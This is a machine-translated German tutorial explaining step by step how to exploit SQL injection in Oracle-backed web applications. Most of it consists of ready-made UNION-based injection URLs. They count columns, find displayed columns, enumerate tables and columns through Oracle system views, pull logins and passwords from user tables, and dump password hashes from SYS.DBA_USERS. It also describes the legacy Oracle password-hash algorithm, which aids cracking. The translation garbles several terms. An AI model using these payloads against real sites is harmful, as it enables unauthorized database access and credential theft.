This page has been robot translated, sorry for typos if any. Original content here.

SQL-Injection in Oracle durchführen



  • [Einführung]
  • [Oracle-Funktionen]
  • [Spaltenauswahl]
  • [Definition von druckbaren Spalten]
  • [Informationen erhalten]
  • [Tabellen und Spalten]
  • [Passwörter]
  • [Informationen erhalten]



  • [Einführung]


    Als ich kürzlich verschiedene Webprojekte zu Schwachstellen recherchierte, stieß ich in Oracle auf SQL Injection. Obwohl derzeit die Verwendung dieses DBMS in der Webprogrammierung selten zu sehen ist, geschieht dies dennoch. Alle Studien endeten mit einer einfachen Erkennung von Fehlern. Was als nächstes zu tun war, war unklar. Bei der Suche nach einem Artikel, der die praktischen Aspekte der Ausnutzung dieser Sicherheitsanfälligkeit in Oracle gut beschreibt, z. B. Cash- und Spyder-Artikel, in denen Injektionen in MSSQL und PostgreSQL beschrieben werden, wurden sie nicht gefunden.
    Als Ergebnis der Suche wurde nur eine Reihe von Artikeln k00p3r gefunden, außerdem wurden sie vollständig aus Quellen von Drittanbietern kopiert und sind eine einfache Übersetzung, deren Lektüre keine klare Vorstellung von Wangenknochen in Oracle gab, weil Artikel sind im Wesentlichen groß, theoretisch und enthalten größtenteils Wasser.
    Am Ende musste ich mich an die institutionellen Fähigkeiten der Arbeit mit Oracle erinnern und eine Reihe unterschiedlicher Informationen im Internet erneut lesen. In diesem Artikel möchte ich Ihnen mitteilen, was ich über die Implementierung von SQL Injection in Oracle herausgefunden habe, und versuchen, dies in einem zu kombinieren.
    Versuchen Sie, die Lücke zu schließen und die Artikelserie Cash and Spyder zu ergänzen.

    [Oracle-Funktionen]


    Zunächst werde ich einige Eigenschaften angeben, die Sie beim Injizieren in Oracle berücksichtigen müssen. Ich möchte sofort reservieren, dass sich der Artikel mit der Injektion in der SELECT-Anweisung befasst. Das Einfügen der Anweisungen INSERT, UPDATE und DELETE ist ebenfalls möglich.
    Es ist auch wichtig, dass der Artikel die Probleme der Injektion in Oracle SQL-Abfragen und nicht in Oracle PL / SQL-Prozeduren behandelt. Ein wesentlicher Unterschied zwischen Injektionen in PL / SQL-Prozeduren ist die Möglichkeit, ein Abfragetrennzeichen zu verwenden - das Semikolon ";". Aber zu diesem IMHO müssen Sie einen separaten Artikel mit einer Beschreibung aller sich daraus ergebenden Konsequenzen schreiben. Darüber hinaus glaubt der Autor, dass in Webanwendungen die häufigste Injektion in SQL-Abfragen erfolgt (zumindest bin ich nur auf solche gestoßen).
    In Oracle sowie in MySQL und PostgreSQL wird die Injektion unter Verwendung des UNION-Operators durchgeführt, d. H. bei der Zusammenstellung der Vereinigung zweier Abfragen (im Folgenden wird zum leichteren Verständnis der Begriff verwendet - eine Unterabfrage). Neben dem Zusammentreffen der Anzahl der Spalten in der Hauptabfrage und der Unterabfrage muss jedoch berücksichtigt werden, dass Oracle Typen in der Unterabfrage nicht automatisch umwandelt. Daher müssen Sie bei der Auswahl von Spalten im Gegensatz zu beispielsweise MySQL null ersetzen.
    Eine sehr wichtige Eigenschaft ist auch, dass alle SELECT-Abfragen aus einer Art Tabelle erfolgen müssen, d. H. Die Abfragesyntax sollte immer das Wort FROM und den Namen der Tabelle enthalten. Für einfache arithmetische Berechnungen oder andere Operationen, für die keine echte Tabelle erforderlich ist, gibt es in Oracle eine Pseudotabelle SYS.DUAL.
    Eine wichtige Eigenschaft ist das Fehlen eines LIMIT-Operators.
    Um die Abfrage abzuschneiden, werden in SQL Oracle die Kommentarzeichen "-" (zwei Striche) und "/ *" (Schrägstrich und Sternchen) verwendet. Die erste Art von Kommentar ist einzeilig. Der zweite Typ ist mehrzeilig.
    Im Gegensatz zu PL / SQL-Prozeduren ist es in SQL Oracle nicht möglich, mehrere Abfragen mit dem Trennzeichen ";" zu verwenden.
    Wenn ein Fehler erkannt wird, können Sie Oracle anhand des Wortes ORA im Text der Fehlermeldung eindeutig identifizieren. Beispiel:

    Macromedia][Oracle JDBC Driver][Oracle]ORA-00933: SQL command not properly ended

    Das Wort Oracle ist beispielsweise im Fehlertext nicht immer vorhanden

    Warning: OCIStmtExecute: ORA-01722: invalid number in

    [Spaltenauswahl]


    Lassen Sie den Fehler im Parameter id vorhanden sein:

    www.site.com/view.php?id=1'
    Die Anzahl der in der Hauptabfrage vorhandenen Spalten wird auf dieselbe Weise wie in MySQL bestimmt. Da der UNION-Operator sowohl in der Hauptabfrage als auch in der Unterabfrage dieselbe Anzahl von Spalten benötigt, müssen wir die Anzahl dieser Spalten bestimmen. Wenn die Spalten in der Unterabfrage falsch angegeben sind, wird die Standardfehlermeldung angezeigt:

    ORA-XXXXX: query block has incorrect number of result columns
    Es sind zwei Methoden zur Auswahl von Spalten bekannt, die im Spyder-Artikel ausführlich beschrieben sind. Aber ich werde sie wieder bringen, damit der Leser nicht um die Artikel herumläuft:

    1. Einfaches Busting.
    Wir werden die folgende Anfrage stellen

    www.site.com/view.php?id=-1+union+select+null+from+sys.dual--

    Wenn ein Fehler auftritt, erhöhen Sie die Anzahl der Spalten um eins
    www.site.com/view.php?id=-1+union+select+null, null+from+sys.dual--

    und so weiter, bis der Fehler verschwindet.

    2. Verwenden des Operators ORDER BY
    Der zweite Weg ist viel schneller und schöner, wenn die Anzahl der Spalten groß genug ist. Wir werden die folgende Anfrage stellen

    www.site.com/view.php?id=-1+order+by+1--
    Wenn kein Fehler vorliegt, werden die Spalten 1 oder mehr 1

    www.site.com/view.php?id=-1+order+by+99999--
    Bei einer solchen Abfrage sollte ein Fehler auftreten, was bedeutet, dass weniger als 99999 Spalten vorhanden sind. Als Nächstes schränken wir auf die gleiche Weise die Grenzen des ausgewählten Intervalls nach links und rechts ein und bestimmen letztendlich die tatsächliche Anzahl der Spalten in der Hauptabfrage.

    [Definition von druckbaren Spalten]


    Angenommen, wir haben die genaue Anzahl der Spalten in der Hauptabfrage bestimmt, nehmen wir 4 davon an.

    www.site.com/view.php?id=-1+union+select+null, null, null, null+from+sys.dual--
    Jetzt müssen wir die Spalten definieren, die auf der Seite angezeigt werden. Normalerweise sind Spalten mit den Datentypen int, char und data an der Ausgabe beteiligt. Wir werden genügend stabile Spalten mit den Typen int und char haben und nach ihnen suchen.
    Wie bereits erwähnt, wandelt Oracle Typen in einer Unterabfrage nicht automatisch um. Wenn wir versuchen, Werte eines unangemessenen Typs in eine Spalte zu ersetzen, wird daher der folgende Typ-Fehlanpassungsfehler angezeigt

    ORA-XXXXX: expression must have same datatype as corresponding expression
    Als nächstes beginnen wir mit Abfragen, wobei jede Spalte der Reihe nach durch eine beliebige Zahl ersetzt wird

    www.site.com/view.php?id=-1+union+select+123, null, null, null+from+sys.dual--
    ....
    www.site.com/view.php?id=-1+union+select+null, 123, null, null+from+sys.dual--
    Daher werden wir druckbare Spalten vom Typ int identifizieren. Für den Fall, dass ein Typkonfliktfehler auftritt, können wir die Typkonvertierungsfunktionen to_char (), to_date () verwenden und druckbare Spalten mit den Typen char und data identifizieren.

    www.site.com/view.php?id=-1+union+select+null, to_char(123), null, null+from+sys.dual--
    Als Referenz werde ich die Syntax der Funktion to_char () angeben:
    to_char (Wert, [Formatmaske], [nls_language])

    [Informationen erhalten]


    Nachdem wir die Anzahl der Spalten kennen und wissen, welche davon attraktiv sind, können wir sicher fortfahren, um die erforderlichen Informationen aus der Datenbank zu erhalten. Wenn wir bestimmte Tabellen in der Datenbank und die darin enthaltenen Spalten kennen, ist es nicht schwierig, Informationen zu erhalten. Wenn beispielsweise eine Tabelle USERS mit den Spalten ID, LOGIN und PASSWORD vorhanden ist, sieht die Anforderung zum Abrufen dieser Daten wie folgt aus

    www.site.com/view.php?id=-1+union+select+null, login, password, null+from+users+where+id=123--
    Wie in MySQL können Sie die Funktionen concat (), to_char () verwenden, um verschiedene Probleme mit Codierungen anzuzeigen und zu überwinden.
    Um das Filtern von Anführungszeichen oder anderen erforderlichen Zeichen zu überwinden, gibt es eine chr () - Funktion.

    [Tabellen und Spalten]


    Wenn uns Benutzertabellen unbekannt sind, können wir verschiedene Informationen aus bekannten Oracle-Systemtabellen abrufen.
    Sie können den Benutzernamen herausfinden, unter dem die Schnittstelle funktioniert. Dies bedeutet, dass Sie die Funktionen user oder sys.login_user aufrufen können

    www.site.com/view.php?id=-1+union+select+null, user, null, null+from+sys.dual--
    Sie können eine Liste solcher Sitzungen erhalten: Wählen Sie * aus der V $ -Sitzung

    Von großem Interesse sind die Tabellen SYS.USER_TABLES und SYS.USER_TAB_COLUMNS, die alle Tabellen und deren Spalten enthalten, die dem Benutzer zur Verfügung stehen. Wir ziehen die Namen von Tabellen und Spalten heraus:

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables--
    www.site.com/view.php?id=-1+union+select+null, column_name, null, null+from+sys.user_tab_columns--
    Meiner Meinung nach sind in der Tabelle SYS.USER_TABLES neben table_name auch die folgenden Spalten von Interesse: tablespace_name, num_rows, freelist_groups.
    Leider zeigen uns die oben zusammengestellten Abfragen jeweils nur eine - den ersten Datensatz aus der gesamten Tabelle. Es besteht ein unwiderstehlicher Wunsch, den LIMIT-Operator wie in MySQL oder PostgreSQL zu verwenden. Sehr zur Enttäuschung aller wird dieser Operator in Oracle nicht unterstützt, und außerdem hat er kein anständiges Äquivalent in Form eines anderen Operators.
    "ALLES VERLOREN !!!" - Du sagst.
    "NEIN!!!" - Ich werde dir antworten.
    Nachdem ich Google ziemlich gequält hatte, fand ich dennoch die Möglichkeit, eine komplexe Abfrage zu erstellen, die zumindest irgendwie die semantische Last des LIMIT-Operators aus der Ferne implementiert. Leider war es nicht möglich, die Funktionen vollständig wiederherzustellen.

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.user_tables+where+rownum+<=+5--
    Wenn Sie also eine andere Anzahl von Datensätzen in der Auswahl sortieren, können Sie nacheinander alle Tabellennamen anzeigen. Wir können dieselbe Konstruktion verwenden, wenn wir die Tabelle SYS.USER_TAB_COLUMNS anzeigen und gleichzeitig alle Spaltennamen abrufen, die dem Benutzer zur Verfügung stehen.
    Auch in Oracle gibt es das Konzept eines Objektpräfixes (eine Tabelle ist ein Objekt), das im Namen oder im Namen der Tabelle enthalten ist:
    ALL_ - alles für den Benutzer verfügbar (möglicherweise nicht der Eigentümer),
    USER_ - Objekte, deren Eigentümer dieser Benutzer ist.
    Daher können wir unsere Aufgabe vereinfachen und nur die Namen der Tabellen herausziehen, auf die wir Zugriff haben

    www.site.com/view.php?id=-1+union+select+null, table_name, null, null+from+sys.all_tables
    Informationen aus den folgenden Standardtabellen können ebenfalls von Interesse sein: SYS.USER_OBJECTS, SYS.USER_VIEWS, SYS.USER_VIEWS, SYS.USER_CATALOG, SYS.USER_TRIGGERS, SYS.TAB.

    [Passwörter]


    Wenn wir Glück haben und der Benutzer, unter dem wir mit der Datenbank arbeiten, über Sysdba-Rechte verfügt, können wir die Hashes aller Benutzer der Datenbank abrufen.
    Der Hauptort zum Speichern der Kennwortfaltung (Hash) ist die Wörterbuchwörterbuchtabelle SYS.USER $. Über dieser Tabelle wird ein Derivat SYS.DBA_USERS als Basis erstellt. Wenn der Parameter PASSWORD_REUSE_TIME im Benutzerprofil aktiviert ist, werden Kennwortfaltungen auch in SYS.USER_HISTORY $ gespeichert. Sie können solche Hashes und Benutzernamen erhalten

    www.site.com/view.php?id=-1+union+select+null, username, password, null+from+sys.dba_users
    Der Vollständigkeit halber werde ich auch einen Algorithmus zur Berechnung der Faltung eines Passworts vorstellen, nur für den Fall, dass es für jemanden nützlich sein kann:
    1. Der Passworttext wird auf den Benutzernamen rechts geklebt.
    2. In der resultierenden Zeichenfolge werden die Buchstaben in Groß- und Kleinschreibung vergrößert.
    3. Die Zeichen der Zeichenfolge werden in das Doppelbyte-Format konvertiert, wobei links (für ASCII-Zeichen) 0x00 hinzugefügt wird. Rechts wird die Zeichenfolge mit null Byte an eine Gesamtlänge von 80 angehängt.
    4. Die resultierende Zeichenfolge wird mit dem DES-Algorithmus im Modus des Koppelns von Chiffretextblöcken (CBC) mit dem Schlüssel 0x0123456789ABCDEF verschlüsselt.
    5. Paritätsbits werden aus dem letzten Block des Ergebnisses entfernt, und die empfangene Zeichenfolge (56 Bit) wird auf die gleiche Weise für die neue Verschlüsselung der ursprünglichen Zeichenfolge verwendet.
    6. Der letzte Block des Ergebnisses wird in hexadezimale arithmetische Vorzeichen übersetzt und als Endergebnis deklariert - Faltung.